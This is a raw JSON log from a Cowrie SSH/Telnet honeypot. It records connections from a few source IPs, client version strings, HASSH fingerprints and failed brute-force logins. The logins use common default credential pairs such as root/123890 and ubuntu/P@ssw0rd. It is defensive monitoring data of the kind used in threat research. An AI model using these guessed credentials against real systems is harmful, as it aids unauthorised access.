{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34114,"dst_ip":"159.203.135.109","dst_port":22,"session":"16545da71b06","protocol":"ssh","message":"New connection: 176.65.132.129:34114 (159.203.135.109:22) [session: 16545da71b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.460337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.465319Z","src_ip":"176.65.132.129","session":"16545da71b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.551221Z","src_ip":"176.65.132.129","session":"16545da71b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43330,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b55461ad73","protocol":"telnet","message":"New connection: 152.42.224.71:43330 (10.17.0.5:23) [session: 11b55461ad73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.628739Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":43094,"dst_ip":"10.17.0.5","dst_port":22,"session":"63aa7358be80","protocol":"ssh","message":"New connection: 103.183.114.55:43094 (10.17.0.5:22) [session: 63aa7358be80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.872984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.877460Z","src_ip":"103.183.114.55","session":"63aa7358be80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.970098Z","src_ip":"176.65.132.129","session":"16545da71b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:22.102292Z","src_ip":"103.183.114.55","session":"63aa7358be80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123890","message":"login attempt [root/123890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:22.779072Z","src_ip":"103.183.114.55","session":"63aa7358be80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:23.054202Z","src_ip":"176.65.132.129","session":"16545da71b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:24.007959Z","src_ip":"103.183.114.55","session":"63aa7358be80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43346,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ae2196bac6","protocol":"telnet","message":"New connection: 152.42.224.71:43346 (10.17.0.5:23) [session: 36ae2196bac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:24.640960Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34124,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d7dd8f2f75","protocol":"ssh","message":"New connection: 176.65.132.129:34124 (159.203.135.109:22) [session: b4d7dd8f2f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:24.844908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:24.850177Z","src_ip":"176.65.132.129","session":"b4d7dd8f2f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:24.933061Z","src_ip":"176.65.132.129","session":"b4d7dd8f2f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:25.181678Z","src_ip":"176.65.132.129","session":"b4d7dd8f2f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:26.267911Z","src_ip":"176.65.132.129","session":"b4d7dd8f2f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":36214,"dst_ip":"159.203.135.109","dst_port":22,"session":"587c50cf41bc","protocol":"ssh","message":"New connection: 23.249.28.115:36214 (159.203.135.109:22) [session: 587c50cf41bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:26.274657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:26.279554Z","src_ip":"23.249.28.115","session":"587c50cf41bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:26.469991Z","src_ip":"23.249.28.115","session":"587c50cf41bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159","message":"login attempt [root/159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:27.264487Z","src_ip":"23.249.28.115","session":"587c50cf41bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43494,"dst_ip":"159.203.135.109","dst_port":22,"session":"68751598b810","protocol":"ssh","message":"New connection: 176.65.132.129:43494 (159.203.135.109:22) [session: 68751598b810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:28.122805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:28.127547Z","src_ip":"176.65.132.129","session":"68751598b810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:28.210707Z","src_ip":"176.65.132.129","session":"68751598b810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:28.457533Z","src_ip":"23.249.28.115","session":"587c50cf41bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:28.582713Z","src_ip":"176.65.132.129","session":"68751598b810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53532,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12b23a46c74","protocol":"telnet","message":"New connection: 152.42.224.71:53532 (10.17.0.5:23) [session: c12b23a46c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:29.064517Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:29.668350Z","src_ip":"176.65.132.129","session":"68751598b810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.904640674591064,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:30.252449Z","src_ip":"152.42.224.71","session":"d273f53ce6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de91991a726","protocol":"ssh","message":"New connection: 176.65.132.129:43510 (159.203.135.109:22) [session: 3de91991a726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:31.516480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:31.521335Z","src_ip":"176.65.132.129","session":"3de91991a726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:31.606959Z","src_ip":"176.65.132.129","session":"3de91991a726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:31.856729Z","src_ip":"176.65.132.129","session":"3de91991a726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:33.071291Z","src_ip":"176.65.132.129","session":"3de91991a726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.03339958190918,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:33.529609Z","src_ip":"152.42.224.71","session":"8de16f962b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43516,"dst_ip":"159.203.135.109","dst_port":22,"session":"37466e28e053","protocol":"ssh","message":"New connection: 176.65.132.129:43516 (159.203.135.109:22) [session: 37466e28e053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:34.690760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:34.696569Z","src_ip":"176.65.132.129","session":"37466e28e053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:34.779083Z","src_ip":"176.65.132.129","session":"37466e28e053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:35.026700Z","src_ip":"176.65.132.129","session":"37466e28e053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.81404972076416,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:35.299864Z","src_ip":"152.42.224.71","session":"34d6b354074e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:36.112798Z","src_ip":"176.65.132.129","session":"37466e28e053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60400,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ade878890a","protocol":"ssh","message":"New connection: 176.65.132.129:60400 (159.203.135.109:22) [session: b7ade878890a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:38.122346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:38.127364Z","src_ip":"176.65.132.129","session":"b7ade878890a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:38.209576Z","src_ip":"176.65.132.129","session":"b7ade878890a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:38.457443Z","src_ip":"176.65.132.129","session":"b7ade878890a","protocol":"ssh"}
